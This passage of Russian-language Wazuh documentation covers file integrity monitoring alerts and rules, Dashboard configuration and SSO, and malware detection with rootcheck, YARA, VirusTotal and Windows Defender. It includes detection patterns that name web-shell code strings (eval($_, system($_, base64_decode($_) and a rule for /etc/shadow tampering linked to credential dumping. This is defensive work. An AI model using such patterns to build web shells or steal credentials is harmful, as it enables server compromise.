    "description": "Integrity checksum changed.",
    "id": "550",
    "groups": ["ossec", "syscheck", "syscheck_entry_modified"]
  },
  "agent": {
    "id": "001",
    "name": "web-server-01"
  },
  "syscheck": {
    "path": "/etc/ssh/sshd_config",
    "event": "modified",
    "changed_attributes": ["size", "md5", "sha1", "sha256", "mtime"],
    "size_before": "3297",
    "size_after": "3342",
    "md5_before": "a1b2c3d4e5f6...",
    "md5_after": "f6e5d4c3b2a1...",
    "sha256_before": "abc123...",
    "sha256_after": "def456...",
    "mtime_before": "2024-10-01T08:00:00",
    "mtime_after": "2024-11-15T10:23:40",
    "perm_before": "rw-r--r--",
    "perm_after": "rw-r--r--"
  }
}
```

### Алерт whodata с информацией об аудите

```json
{
  "rule": {
    "level": 7,
    "description": "Integrity checksum changed.",
    "id": "550"
  },
  "syscheck": {
    "path": "/etc/passwd",
    "event": "modified",
    "changed_attributes": ["size", "md5", "sha1", "sha256"],
    "audit": {
      "user": {
        "id": "0",
        "name": "root"
      },
      "group": {
        "id": "0",
        "name": "root"
      },
      "process": {
        "id": "12345",
        "name": "/usr/sbin/useradd",
        "ppid": "11000"
      },
      "effective_user": {
        "id": "0",
        "name": "root"
      }
    }
  }
}
```

### Создание нового файла

```json
{
  "rule": {
    "level": 5,
    "description": "File added to the system.",
    "id": "554",
    "groups": ["ossec", "syscheck", "syscheck_entry_added"]
  },
  "syscheck": {
    "path": "/usr/bin/suspicious_binary",
    "event": "added",
    "size_after": "45678",
    "md5_after": "abc123def456...",
    "sha256_after": "789xyz...",
    "perm_after": "rwxr-xr-x",
    "uid_after": "0",
    "gid_after": "0"
  }
}
```

### Удаление файла

```json
{
  "rule": {
    "level": 7,
    "description": "File was deleted.",
    "id": "553",
    "groups": ["ossec", "syscheck", "syscheck_entry_deleted"]
  },
  "syscheck": {
    "path": "/etc/cron.d/backup_job",
    "event": "deleted"
  }
}
```

## Пользовательские правила FIM

Стандартные правила FIM (ID 550-554) можно расширить пользовательскими правилами для специфических сценариев обнаружения.

### Изменение прав на скрипт

```xml
<rule id="100002" level="8">
  <if_sid>550</if_sid>
  <field name="file">\.sh$</field>
  <field name="changed_fields">^permission$</field>
  <description>Execute permission added to shell script.</description>
  <group>syscheck,pci_dss_11.5,</group>
</rule>
```

### Модификация критического файла

```xml
<rule id="100005" level="12">
  <if_sid>550</if_sid>
  <field name="file">/etc/shadow</field>
  <description>Critical system file /etc/shadow was modified.</description>
  <mitre>
    <id>T1003</id>
  </mitre>
  <group>syscheck,authentication_modified,</group>
</rule>
```

### Удаление файла процессом

```xml
<rule id="100003" level="8">
  <if_sid>553</if_sid>
  <field name="audit.process.name">rm$</field>
  <description>File deleted using rm command.</description>
  <group>syscheck,file_deletion,</group>
</rule>
```

## Дашборд FIM в Wazuh

Дашборд File Integrity Monitoring в Wazuh Dashboard предоставляет визуализацию событий FIM:

- **Обзор событий** - количество добавленных, измененных и удаленных файлов за период
- **Топ агентов** - агенты с наибольшим количеством изменений
- **Топ файлов** - наиболее часто изменяемые файлы
- **Временная шкала** - хронология событий FIM
- **Детальный просмотр** - содержимое diff для файлов с `report_changes`
- **Фильтрация** - по агенту, пути файла, типу события, временному диапазону

Доступ к дашборду: Wazuh Dashboard - Modules - Integrity Monitoring.

## Синхронизация FIM

Блок `<synchronization>` управляет процессом синхронизации данных FIM между агентом и сервером.

```xml
<synchronization>
  <enabled>yes</enabled>
  <interval>5m</interval>
  <max_interval>1h</max_interval>
  <response_timeout>30</response_timeout>
  <queue_size>16384</queue_size>
  <thread_pool>1</thread_pool>
  <max_eps>10</max_eps>
</synchronization>
```

| Параметр | Описание | По умолчанию |
|----------|----------|-------------|
| `interval` | Интервал синхронизации | 5m |
| `max_interval` | Максимальный интервал при отсутствии изменений | 1h |
| `response_timeout` | Таймаут ожидания ответа | 30s |
| `queue_size` | Размер очереди синхронизации | 16384 |
| `max_eps` | Максимальное количество событий в секунду | 10 |

## Сравнение с альтернативными решениями

| Характеристика | Wazuh FIM | OSSEC FIM | Tripwire | AIDE |
|---------------|-----------|-----------|----------|------|
| Мониторинг в реальном времени | Да (inotify, whodata) | Да (inotify) | Да (коммерческая версия) | Нет (только по расписанию) |
| Who-data (аудит процессов) | Да | Нет | Да (коммерческая) | Нет |
| Мониторинг реестра Windows | Да | Да (базовый) | Да | Нет (только Linux) |
| Отчет об изменениях (diff) | Да | Нет | Да | Да |
| Централизованное управление | Да (agent.conf) | Ограниченное | Да (коммерческая) | Нет |
| Интеграция с SIEM | Встроенная | Требует настройки | Требует экспорта | Требует экспорта |
| Лицензия | Open Source (GPLv2) | Open Source (GPLv2) | Коммерческая / OSS | Open Source (GPLv2) |
| Масштабируемость | До 100 000+ агентов | До 10 000 агентов | Зависит от лицензии | Локально на хосте |

Wazuh FIM отличается от OSSEC наличием whodata, расширенными атрибутами мониторинга реестра и встроенной интеграцией с OpenSearch для хранения и визуализации данных.

## Устранение неполадок

### Алерты FIM не генерируются

1. Проверьте, что модуль syscheck не отключен:
```xml
<syscheck>
  <disabled>no</disabled>
</syscheck>
```

2. Убедитесь, что контролируемый каталог указан в конфигурации:
```bash
grep -A5 '<directories' /var/ossec/etc/ossec.conf
```

3. Проверьте статус последнего сканирования:
```bash
/var/ossec/bin/agent_control -i 001 | grep syscheck
```

4. Запустите сканирование вручную:
```bash
/var/ossec/bin/agent_control -r -u 001
```

5. Проверьте логи агента:
```bash
tail -100 /var/ossec/logs/ossec.log | grep syscheck
```

### Слишком много алертов

1. Используйте `<ignore>` для исключения часто изменяющихся файлов:
```xml
<ignore>/var/log/lastlog</ignore>
<ignore type="sregex">\.tmp$</ignore>
```

2. Включите `auto_ignore` для автоматического подавления:
```xml
<auto_ignore frequency="10" timeframe="3600">yes</auto_ignore>
```
Файлы, изменяющиеся более 10 раз за 3600 секунд, будут автоматически исключены.

3. Увеличьте интервал сканирования:
```xml
<frequency>86400</frequency>
```

### Влияние на производительность

1. Ограничьте глубину рекурсии:
```xml
<directories recursion_level="3" check_all="yes">/var</directories>
```

2. Ограничьте количество отслеживаемых файлов:
```xml
<file_limit>
  <enabled>yes</enabled>
  <entries>50000</entries>
</file_limit>
```

3. Настройте `max_eps` для ограничения потока событий:
```xml
<synchronization>
  <max_eps>5</max_eps>
</synchronization>
```

4. Используйте `scan_time` для запуска сканирования в нерабочее время:
```xml
<scan_time>03:00</scan_time>
```

### Whodata не работает на Linux

1. Проверьте, установлен ли auditd:
```bash
systemctl status auditd
```

2. Убедитесь, что правила аудита созданы:
```bash
auditctl -l | grep wazuh
```

3. Проверьте размер audit backlog:
```bash
auditctl -s | grep backlog
```

Если whodata не может инициализироваться, модуль автоматически переключается на режим realtime.

## Связанные разделы

- [Обнаружение вредоносного ПО](/docs/wazuh/capabilities/wazuh-malware-detection/) - использование FIM совместно с YARA и VirusTotal для обнаружения малвари
- [Оценка конфигурации безопасности](/docs/wazuh/capabilities/wazuh-sca/) - проверка настроек системы на соответствие стандартам
- [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/) - как данные FIM передаются от агента к индексатору


---

# Настройка Wazuh Dashboard - конфигурация и модули

Source: https://opennix.org/docs/wazuh/infrastructure/wazuh-dashboard-configuration/


Wazuh Dashboard - веб-интерфейс платформы, построенный на базе OpenSearch Dashboards. Через него аналитики работают с алертами безопасности, просматривают уязвимости, отслеживают состояние агентов и формируют отчеты. Правильная настройка Dashboard определяет удобство повседневной работы с SIEM - от скорости загрузки страниц до доступности нужных модулей и корректной работы SSO. В этом руководстве рассмотрены ключевые конфигурационные файлы, встроенные модули, создание кастомных визуализаций и решение типовых проблем.

## Конфигурация opensearch_dashboards.yml

Основной файл конфигурации OpenSearch Dashboards расположен по пути `/etc/wazuh-dashboard/opensearch_dashboards.yml`. Он определяет сетевые настройки, подключение к Indexer и параметры TLS.

### Ключевые параметры

```yaml
# Сетевой интерфейс для прослушивания
# 0.0.0.0 - все интерфейсы, 127.0.0.1 - только localhost
server.host: 0.0.0.0

# Порт веб-интерфейса (по умолчанию 443)
server.port: 443

# Адреса узлов Wazuh Indexer
opensearch.hosts:
  - https://192.168.1.10:9200
  - https://192.168.1.11:9200

# Учетные данные для подключения к Indexer
opensearch.username: kibanaserver
opensearch.password: <KIBANASERVER_PASSWORD>

# TLS-сертификаты для Dashboard
server.ssl.enabled: true
server.ssl.certificate: /etc/wazuh-dashboard/certs/dashboard.pem
server.ssl.key: /etc/wazuh-dashboard/certs/dashboard-key.pem

# Корневой сертификат CA для проверки Indexer
opensearch.ssl.certificateAuthorities:
  - /etc/wazuh-dashboard/certs/root-ca.pem

# Проверка сертификата Indexer
opensearch.ssl.verificationMode: full

# Базовый путь (при использовании reverse proxy)
# server.basePath: "/wazuh"
# server.rewriteBasePath: true

# Логирование
logging.dest: /var/log/wazuh-dashboard/opensearch-dashboards.log
logging.verbose: false
```

### Настройка для кластера Indexer

При наличии нескольких узлов Indexer укажите все адреса в `opensearch.hosts`. Dashboard будет автоматически распределять запросы между узлами:

```yaml
opensearch.hosts:
  - https://indexer-node1:9200
  - https://indexer-node2:9200
  - https://indexer-node3:9200
```

### Таймауты подключения

```yaml
# Таймаут подключения к Indexer (мс)
opensearch.requestTimeout: 30000

# Таймаут пинга для проверки доступности
opensearch.pingTimeout: 30000

# Интервал проверки состояния кластера
opensearch.healthCheck.delay: 2500
```

## Конфигурация Wazuh Plugin (wazuh.yml)

Файл `/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml` содержит настройки плагина Wazuh для Dashboard.

### Подключение к Wazuh API

```yaml
hosts:
  - production:
      url: https://192.168.1.5
      port: 55000
      username: wazuh-wui
      password: <WUI_PASSWORD>
      run_as: false

  - staging:
      url: https://10.0.0.5
      port: 55000
      username: wazuh-wui
      password: <WUI_PASSWORD>
      run_as: false
```

При настройке нескольких хостов API пользователь может переключаться между ними в интерфейсе Dashboard через меню Management - API Configuration.

### Параметры мониторинга

```yaml
# Мониторинг статусов агентов
wazuh.monitoring.enabled: true
wazuh.monitoring.frequency: 900
wazuh.monitoring.pattern: wazuh-monitoring-*
wazuh.monitoring.creation: w

# Проверка состояния при загрузке
checks.pattern: true
checks.template: true
checks.api: true
checks.setup: true
checks.fields: true
```

### Параметры индексных паттернов

```yaml
# Паттерн алертов по умолчанию
pattern: wazuh-alerts-*

# Индекс по умолчанию для Wazuh
# Используется при создании визуализаций
ip.selector: true
ip.ignore:
  - wazuh-monitoring-*
  - wazuh-statistics-*
```

## Модули Dashboard

Wazuh Dashboard включает специализированные модули для различных аспектов мониторинга безопасности.

### Security Events

Центральный модуль для работы с алертами. Предоставляет:

- Временная шкала алертов с фильтрацией по уровню, группе, агенту
- Детальный просмотр каждого алерта с декодированными полями
- Экспорт в CSV для внешнего анализа
- Поиск с использованием WQL (Wazuh Query Language)

Фильтрация WQL поддерживает следующий синтаксис:

```
rule.level > 10 AND agent.name = "web-server-01"
rule.groups : "authentication" AND NOT rule.level < 5
data.srcip : "192.168.*"
```

### Integrity Monitoring (FIM)

Отслеживание изменений файловой системы:

- Добавленные, измененные и удаленные файлы
- Изменения разрешений и владельцев
- Diff - сравнение содержимого до и после изменения
- Фильтрация по агенту, пути, типу события

### Vulnerabilities

Управление уязвимостями на конечных точках:

- Список обнаруженных CVE с указанием критичности (CVSS)
- Фильтрация по агенту, пакету, критичности
- Связь с базами NVD и vendor-specific advisory
- Статистика по количеству уязвимостей на агент

### Regulatory Compliance

Маппинг алертов на требования стандартов:

- PCI DSS - требования стандарта индустрии платежных карт
- HIPAA - стандарт защиты медицинских данных
- NIST 800-53 - каталог контролей безопасности
- GDPR - европейский регламент защиты персональных данных
- TSC (SOC 2) - критерии Trust Services

Каждый стандарт имеет отдельные дашборды с маппингом алертов на конкретные контроли.

### Security Configuration Assessment (SCA)

Аудит конфигурации систем:

- Результаты проверок по CIS Benchmarks
- Статус каждой проверки: passed, failed, not applicable
- Процент соответствия по каждому профилю
- Подробное описание каждого контроля с рекомендациями

### Agents

Управление и мониторинг агентов:

- Список агентов со статусами (Active, Disconnected, Never connected, Pending)
- Детальная информация по каждому агенту: ОС, версия, группы, IP
- Инвентаризация: пакеты, процессы, порты, сетевые интерфейсы
- История подключений

### Management

Административные функции:

- Управление правилами и декодерами
- Управление группами агентов
- Конфигурация CDB-списков
- Настройка API-подключений
- Логи менеджера
- Статистика и кластер

## Кастомные дашборды и визуализации

### Создание индексного паттерна

Перед созданием визуализаций необходимо настроить индексный паттерн:

1. Перейдите в OpenSearch Dashboards - Stack Management - Index Patterns
2. Нажмите Create index pattern
3. Введите паттерн: `wazuh-alerts-*`
4. Выберите поле времени: `timestamp`
5. Нажмите Create index pattern

### Создание визуализации

1. Перейдите в OpenSearch Dashboards - Visualize
2. Выберите тип визуализации (Area, Bar, Pie, Line, Data Table, Metric, Gauge)
3. Выберите индексный паттерн `wazuh-alerts-*`
4. Настройте агрегации и метрики

Пример конфигурации для круговой диаграммы топ-10 правил:

- Metric: Count
- Buckets - Split Slices: Terms, field: `rule.description.keyword`, size: 10
- Сохраните визуализацию

### Создание дашборда

1. Перейдите в OpenSearch Dashboards - Dashboard
2. Нажмите Create new dashboard
3. Добавьте визуализации через Add panel
4. Настройте расположение и размер панелей
5. Сохраните дашборд

### Saved Objects

Визуализации и дашборды хранятся как Saved Objects. Для экспорта и импорта:

1. Перейдите в Stack Management - Saved Objects
2. Выберите объекты для экспорта
3. Нажмите Export - будет создан NDJSON-файл
4. Для импорта используйте кнопку Import и загрузите NDJSON

Экспортированные объекты можно версионировать в Git и развертывать на других инстансах Dashboard.

## Отчеты (Reporting)

### Генерация PDF/CSV

Wazuh Dashboard поддерживает создание отчетов в формате PDF и CSV:

1. Откройте нужный модуль (Security Events, Vulnerabilities и др.)
2. Настройте фильтры и временной диапазон
3. Нажмите Generate report в правом верхнем углу
4. Выберите формат: PDF или CSV
5. Отчет будет доступен в разделе Management - Reporting

### Параметры отчетов

Отчеты включают:

- Заголовок с временным диапазоном и примененными фильтрами
- Таблицы алертов с ключевыми полями
- Графики и визуализации из текущего представления
- Общую статистику по модулю

### Автоматические отчеты

Для настройки периодической генерации отчетов используйте Reporting plugin OpenSearch Dashboards:

1. Перейдите в OpenSearch Dashboards - Reporting
2. Нажмите Create report definition
3. Настройте:
   - Report source: Dashboard или Visualization
   - Формат: PDF или CSV
   - Schedule: cron-выражение (например, `0 8 * * 1` - каждый понедельник в 8:00)
4. Опционально настройте получателей через Notification channels

## Мультитенантность

Мультитенантность позволяет изолировать дашборды, визуализации и индексные паттерны для разных команд или подразделений.

### Включение мультитенантности

В файле `/etc/wazuh-indexer/opensearch-security/config.yml`:

```yaml
config:
  dynamic:
    kibana:
      multitenancy_enabled: true
      server_username: kibanaserver
      index: .kibana
```

### Создание тенантов

Через OpenSearch Dashboards Security plugin:

1. Перейдите в Security - Tenants
2. Нажмите Create tenant
3. Укажите имя и описание

Через API:

```bash
curl -sk -u admin:$PASSWORD \
  -XPUT "https://localhost:9200/_plugins/_security/api/tenants/soc-team" \
  -H "Content-Type: application/json" \
  -d '{ "description": "SOC team workspace" }'
```

### Назначение тенантов ролям

```bash
curl -sk -u admin:$PASSWORD \
  -XPUT "https://localhost:9200/_plugins/_security/api/rolesmapping/soc_analyst" \
  -H "Content-Type: application/json" \
  -d '{
    "backend_roles": ["soc-analysts"],
    "hosts": [],
    "users": ["analyst1", "analyst2"],
    "and_backend_roles": []
  }'
```

### Переключение между тенантами

Пользователь может переключать тенант через меню пользователя в правом верхнем углу Dashboard - Switch Tenants. Каждый тенант содержит свой набор дашбордов и визуализаций.

## Кастомный брендинг

### Логотип и заголовок

В файле `opensearch_dashboards.yml`:

```yaml
# Логотип на странице входа
opensearch_dashboards.branding.logo.defaultUrl: "/ui/custom-logo.svg"

# Логотип в боковой панели
opensearch_dashboards.branding.mark.defaultUrl: "/ui/custom-mark.svg"

# Заголовок приложения
opensearch_dashboards.branding.applicationTitle: "Security Operations Center"

# Экран загрузки
opensearch_dashboards.branding.loadingLogo.defaultUrl: "/ui/custom-loading.svg"

# Иконка favicon
opensearch_dashboards.branding.faviconUrl: "/ui/custom-favicon.ico"
```

### Размещение файлов

Файлы логотипов размещаются в директории `/usr/share/wazuh-dashboard/plugins/wazuh/public/assets/` или указываются как URL внешнего ресурса.

### Кастомный футер

Для добавления кастомного текста в подвал страницы отредактируйте шаблон Dashboard или используйте CSS-инъекцию через `opensearch_dashboards.yml`:

```yaml
opensearch_dashboards.branding.useExpandedHeader: false
```

## Интеграция SSO (SAML/OIDC)

### SAML-аутентификация

Конфигурация в `/etc/wazuh-indexer/opensearch-security/config.yml`:

```yaml
config:
  dynamic:
    authc:
      saml_auth_domain:
        http_enabled: true
        transport_enabled: false
        order: 1
        http_authenticator:
          type: saml
          challenge: true
          config:
            idp:
              metadata_url: "https://idp.example.com/metadata"
              entity_id: "urn:example:idp"
            sp:
              entity_id: "https://wazuh-dashboard.example.com"
            kibana_url: "https://wazuh-dashboard.example.com"
            subject_key: "NameID"
            roles_key: "Role"
            exchange_key: "<32_CHAR_SECRET>"
        authentication_backend:
          type: noop
```

В `opensearch_dashboards.yml` добавьте:

```yaml
opensearch_security.auth.type: "saml"
server.xsrf.allowlist:
  - "/_opendistro/_security/saml/acs"
  - "/_opendistro/_security/saml/acs/idpinitiated"
  - "/_opendistro/_security/saml/logout"
```

### OIDC-аутентификация

```yaml
config:
  dynamic:
    authc:
      oidc_auth_domain:
        http_enabled: true
        transport_enabled: false
        order: 1
        http_authenticator:
          type: openid
          challenge: false
          config:
            openid_connect_url: "https://idp.example.com/.well-known/openid-configuration"
            subject_key: "preferred_username"
            roles_key: "roles"
        authentication_backend:
          type: noop
```

В `opensearch_dashboards.yml`:

```yaml
opensearch_security.auth.type: "openid"
opensearch_security.openid.connect_url: "https://idp.example.com/.well-known/openid-configuration"
opensearch_security.openid.client_id: "wazuh-dashboard"
opensearch_security.openid.client_secret: "<CLIENT_SECRET>"
```

### Применение конфигурации SSO

После изменения `config.yml` необходимо применить настройки:

```bash
cd /usr/share/wazuh-indexer/plugins/opensearch-security/tools/
./securityadmin.sh \
  -f /etc/wazuh-indexer/opensearch-security/config.yml \
  -icl -nhnv \
  -cacert /etc/wazuh-indexer/certs/root-ca.pem \
  -cert /etc/wazuh-indexer/certs/admin.pem \
  -key /etc/wazuh-indexer/certs/admin-key.pem \
  -h localhost
```

## Устранение неполадок

### Пустая страница после входа

Причины и решения:

1. **Некорректный сертификат**: проверьте, что `server.ssl.certificate` и `server.ssl.key` указывают на действительные файлы
2. **Нет подключения к Indexer**: проверьте `opensearch.hosts` и доступность порта 9200
3. **Поврежденный индекс .kibana**: удалите и позвольте Dashboard пересоздать его

```bash
# Проверка состояния Dashboard
systemctl status wazuh-dashboard

# Просмотр логов
tail -100 /var/log/wazuh-dashboard/opensearch-dashboards.log

# Проверка подключения к Indexer
curl -sk -u kibanaserver:$PASSWORD "https://localhost:9200/_cluster/health"
```

### Wazuh API not reachable

**Симптом**: ошибка "Wazuh API not reachable" в модулях Dashboard.

Диагностика:

```bash
# Проверка доступности API
curl -sk -u wazuh-wui:$PASSWORD \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true"

# Проверка конфигурации wazuh.yml
cat /usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml
```

Решения:

- Убедитесь, что IP и порт в `wazuh.yml` соответствуют реальному адресу Wazuh Manager
- Проверьте учетные данные `wazuh-wui`
- Убедитесь, что порт 55000 открыт между Dashboard и Manager
- При использовании HTTPS проверьте сертификаты

### Ошибки плагина Wazuh

**Симптом**: модули Wazuh не отображаются или показывают ошибки.

```bash
# Проверка установленных плагинов
/usr/share/wazuh-dashboard/bin/opensearch-dashboards-plugin list

# Переустановка плагина Wazuh
/usr/share/wazuh-dashboard/bin/opensearch-dashboards-plugin remove wazuh
/usr/share/wazuh-dashboard/bin/opensearch-dashboards-plugin install \
  https://packages.wazuh.com/4.x/ui/dashboard/wazuh-4.14.4-1.zip

# Перезапуск Dashboard
systemctl restart wazuh-dashboard
```

### Проблемы с производительностью

- Увеличьте `node.options` память: `--max-old-space-size=2048` в `/etc/wazuh-dashboard/node.options`
- Уменьшите частоту мониторинга в `wazuh.yml`: `wazuh.monitoring.frequency: 3600`
- Отключите ненужные проверки при загрузке

### Сброс пароля администратора

```bash
# Генерация хеша нового пароля
/usr/share/wazuh-indexer/plugins/opensearch-security/tools/hash.sh

# Обновление internal_users.yml
# Применение изменений
cd /usr/share/wazuh-indexer/plugins/opensearch-security/tools/
./securityadmin.sh \
  -f /etc/wazuh-indexer/opensearch-security/internal_users.yml \
  -icl -nhnv \
  -cacert /etc/wazuh-indexer/certs/root-ca.pem \
  -cert /etc/wazuh-indexer/certs/admin.pem \
  -key /etc/wazuh-indexer/certs/admin-key.pem \
  -h localhost
```

## Дополнительные материалы

- [Установка Wazuh Dashboard](/docs/wazuh/installation/wazuh-dashboard-installation/) - развертывание Dashboard
- [Wazuh Indexer API](/docs/wazuh/infrastructure/wazuh-indexer-api/) - работа с данными через API
- [Управление агентами](/docs/wazuh/infrastructure/wazuh-agent-management/) - регистрация и конфигурация агентов
- [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/) - обзор компонентов платформы


---

# Обнаружение вредоносного ПО в Wazuh 4.14

Source: https://opennix.org/docs/wazuh/capabilities/wazuh-malware-detection/


Wazuh использует многоуровневый подход к обнаружению вредоносного программного обеспечения. Вместо единственного антивирусного движка платформа объединяет несколько методов детекции: обнаружение руткитов модулем rootcheck, сигнатурный анализ через YARA, проверку хешей файлов в VirusTotal, мониторинг логов сторонних антивирусов и пользовательские правила на основе индикаторов компрометации (IoC).

## Методы обнаружения

Wazuh предоставляет восемь основных методов обнаружения вредоносного ПО:

1. **FIM с правилами детекции** - мониторинг целостности файлов в сочетании с правилами обнаружения угроз
2. **Rootcheck** - обнаружение руткитов и троянов через анализ поведения и сигнатуры
3. **CDB-списки** - проверка хешей и IoC по локальным базам данных
4. **VirusTotal** - автоматическая проверка хешей файлов через API VirusTotal
5. **YARA** - паттерн-ориентированное сканирование файлов
6. **ClamAV** - мониторинг логов антивируса ClamAV
7. **Windows Defender** - анализ событий Windows Defender
8. **Пользовательские правила IoC** - детекция на основе собственных индикаторов

## Модуль rootcheck

Модуль rootcheck выполняет поиск руткитов, троянов и аномалий на контролируемых системах. Он использует два подхода: сопоставление с известными сигнатурами и поведенческий анализ.

### Конфигурация rootcheck

```xml
<rootcheck>
  <disabled>no</disabled>
  <check_files>yes</check_files>
  <check_trojans>yes</check_trojans>
  <check_dev>yes</check_dev>
  <check_sys>yes</check_sys>
  <check_pids>yes</check_pids>
  <check_ports>yes</check_ports>
  <check_if>yes</check_if>

  <!-- Базы сигнатур -->
  <rootkit_files>etc/shared/rootkit_files.txt</rootkit_files>
  <rootkit_trojans>etc/shared/rootkit_trojans.txt</rootkit_trojans>

  <!-- Частота сканирования (секунды) -->
  <frequency>43200</frequency>
  <skip_nfs>yes</skip_nfs>
</rootcheck>
```

### Проверки rootcheck

| Параметр | Описание |
|----------|----------|
| `check_files` | Поиск файлов, характерных для известных руткитов |
| `check_trojans` | Обнаружение троянизированных системных утилит |
| `check_dev` | Проверка /dev на наличие скрытых файлов |
| `check_sys` | Обнаружение скрытых процессов и портов |
| `check_pids` | Поиск скрытых процессов через перебор PID |
| `check_ports` | Обнаружение скрытых портов |
| `check_if` | Проверка сетевых интерфейсов на promiscuous mode |

### Базы сигнатур

Wazuh поставляется с двумя базами:

- `rootkit_files.txt` - пути к файлам, характерным для известных руткитов (Adore, Knark, T0rn, Ambient's Rootkit и другие)
- `rootkit_trojans.txt` - сигнатуры троянизированных системных утилит (ls, ps, netstat, ifconfig)

Базы можно обновлять вручную, добавляя собственные записи.

### Примеры алертов rootcheck

```json
{
  "rule": {
    "level": 7,
    "description": "Host-based anomaly detection event (rootcheck).",
    "id": "510"
  },
  "full_log": "Rootkit 'Adore' detected by the presence of file '/usr/lib/libt0rn-2.so'."
}
```

```json
{
  "rule": {
    "level": 7,
    "description": "Trojaned version of file detected.",
    "id": "510"
  },
  "full_log": "Trojaned version of file '/usr/bin/ls' detected. Signature used: 'bash|strings|strstrstr'."
}
```

## Интеграция с YARA

YARA позволяет создавать правила для обнаружения вредоносного ПО на основе текстовых и бинарных паттернов. Wazuh интегрируется с YARA через механизм Active Response: при обнаружении нового или измененного файла модулем FIM запускается сканирование YARA.

### Принцип работы

```
FIM обнаруживает новый файл -> Алерт syscheck ->
-> Active Response вызывает скрипт YARA -> Сканирование файла ->
-> Результат записывается в лог -> Правило Wazuh генерирует алерт
```

### Установка YARA

```bash
# Ubuntu/Debian
apt-get install -y yara

# CentOS/RHEL
yum install -y yara

# Проверка установки
yara --version
```

### Скрипт Active Response для YARA

Скрипт размещается на агенте в `/var/ossec/active-response/bin/yara.sh`:

```bash
#!/bin/bash

LOCAL=$(dirname $0)
cd $LOCAL
cd ../

PWD=$(pwd)
LOG_FILE="${PWD}/../logs/active-responses.log"
YARA_PATH="/usr/bin/yara"
YARA_RULES="/var/ossec/etc/rules/yara_rules.yar"

read INPUT_JSON
FILENAME=$(echo $INPUT_JSON | jq -r '.parameters.alert.syscheck.path')

if [ -f "$FILENAME" ]; then
    YARA_OUTPUT=$("$YARA_PATH" "$YARA_RULES" "$FILENAME" 2>/dev/null)
    if [ ! -z "$YARA_OUTPUT" ]; then
        YARA_RULE=$(echo "$YARA_OUTPUT" | awk '{print $1}')
        echo "$(date '+%Y/%m/%d %H:%M:%S') active-response/bin/yara.sh: $YARA_OUTPUT" >> ${LOG_FILE}
    fi
fi

exit 0
```

### Конфигурация Active Response на сервере

```xml
<ossec_config>
  <command>
    <name>yara_scan</name>
    <executable>yara.sh</executable>
    <timeout_allowed>no</timeout_allowed>
  </command>

  <active-response>
    <command>yara_scan</command>
    <location>local</location>
    <rules_id>554</rules_id>
  </active-response>
</ossec_config>
```

### Правила для алертов YARA

```xml
<group name="yara,">
  <rule id="108000" level="0">
    <decoded_as>yara</decoded_as>
    <description>YARA grouping rule.</description>
  </rule>

  <rule id="108001" level="12">
    <if_sid>108000</if_sid>
    <match>yara.sh</match>
    <description>YARA: malware detected - $(yara_rule) in $(yara_file).</description>
    <mitre>
      <id>T1204</id>
    </mitre>
    <group>malware,yara,</group>
  </rule>
</group>
```

### Пример правила YARA

```
rule Suspicious_Packed_PE
{
    meta:
        description = "Detects packed PE executables"
        author = "Security Team"
        severity = "high"

    strings:
        $mz = { 4D 5A }
        $upx = "UPX!" ascii
        $aspack = "ASPack" ascii

    condition:
        $mz at 0 and ($upx or $aspack)
}

rule WebShell_Generic
{
    meta:
        description = "Detects common web shell patterns"
        author = "Security Team"

    strings:
        $php_eval = "eval($_" ascii nocase
        $php_system = "system($_" ascii nocase
        $php_exec = "exec($_" ascii nocase
        $php_passthru = "passthru(" ascii nocase
        $php_base64 = "base64_decode($_" ascii nocase

    condition:
        2 of them
}
```

## Интеграция с VirusTotal

Wazuh интегрируется с VirusTotal через модуль integratord для автоматической проверки хешей файлов, обнаруженных модулем FIM.

### Конфигурация integratord

Добавьте в `/var/ossec/etc/ossec.conf` на сервере Wazuh:

```xml
<integration>
  <name>virustotal</name>
  <api_key>YOUR_VIRUSTOTAL_API_KEY</api_key>
  <group>syscheck</group>
  <alert_format>json</alert_format>
</integration>
```

### Конфигурация FIM для VirusTotal

На стороне агента настройте мониторинг целевых каталогов:

```xml
<syscheck>
  <directories check_all="yes" realtime="yes">/tmp/downloads</directories>
  <directories check_all="yes" realtime="yes">/home/user/Downloads</directories>
  <directories check_all="yes" realtime="yes">/var/www/uploads</directories>
</syscheck>
```

### Уровни алертов VirusTotal

| Уровень | ID правила | Описание |
|---------|-----------|----------|
| 3 | 87101 | Ошибка API (неверный ключ, превышение лимита) |
| 3 | 87102 | Файл не найден в базе VirusTotal |
| 12 | 87105 | Обнаружено вредоносное ПО |

### Пример алерта обнаружения

```json
{
  "timestamp": "2024-11-17T19:30:25.085+0000",
  "rule": {
    "level": 12,
    "description": "VirusTotal: Alert - /tmp/downloads/malware.exe - 66 engines detected this file",
    "id": "87105",
    "groups": ["virustotal"]
  },
  "data": {
    "virustotal": {
      "positives": "66",
      "total": "68",
      "scan_date": "2024-11-17 17:15:04",
      "sha1": "abc123...",
      "source": {
        "file": "/tmp/downloads/malware.exe",
        "md5": "def456...",
        "sha1": "abc123..."
      },
      "permalink": "https://www.virustotal.com/gui/file/..."
    }
  },
  "location": "virustotal"
}
```

### Ограничения API VirusTotal

- **Публичный API** - 500 запросов в день, 4 запроса в минуту. Не подходит для коммерческого использования.
- **Приватный API** - увеличенные лимиты и приоритетный доступ (платная подписка).

При превышении лимита integratord автоматически ставит запросы в очередь.

## Мониторинг Windows Defender

Wazuh собирает и анализирует события Windows Defender через мониторинг Windows Event Log.

### Конфигурация агента

```xml
<localfile>
  <location>Microsoft-Windows-Windows Defender/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>
```

### Встроенные правила

Wazuh содержит набор правил для событий Windows Defender:

| ID правила | Уровень | Описание |
|-----------|---------|----------|
| 91050 | 3 | Windows Defender: информационное событие |
| 91051 | 6 | Windows Defender: обнаружена угроза |
| 91052 | 12 | Windows Defender: вредоносное ПО не удалено |
| 91053 | 3 | Windows Defender: сканирование выполнено |

### Пример алерта Windows Defender

```json
{
  "rule": {
    "level": 6,
    "description": "Windows Defender: Threat detected.",
    "id": "91051"
  },
  "data": {
    "win": {
      "eventdata": {
        "threatName": "Trojan:Win32/Emotet.RPH!MTB",
        "severity": "Severe",
        "path": "file:_C:\\Users\\admin\\Downloads\\invoice.doc",
        "actionStatus": "Quarantined"
      }
    }
  }
}
```

## Интеграция с ClamAV

